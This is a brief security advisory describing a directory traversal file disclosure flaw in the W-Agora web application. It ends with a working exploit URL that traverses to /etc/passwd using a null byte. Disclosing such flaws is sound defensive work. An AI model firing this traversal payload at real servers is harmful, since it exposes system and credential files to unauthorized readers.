source: https://www.securityfocus.com/bid/6595/info

A file disclosure vulnerability has been reported for W-Agora. It has been reported that W-Agora does not adequately sanitize some user-supplied input.

An attacker can construct a URL consisting of dot-dot-slash (../) character sequences to obtain access to files outside of the document root. It should be noted that only files accessible by the web server will be disclosed to the attacker.

http://target/index.php?site=demos&bn=../../../../../../../../../../etc/passwd%00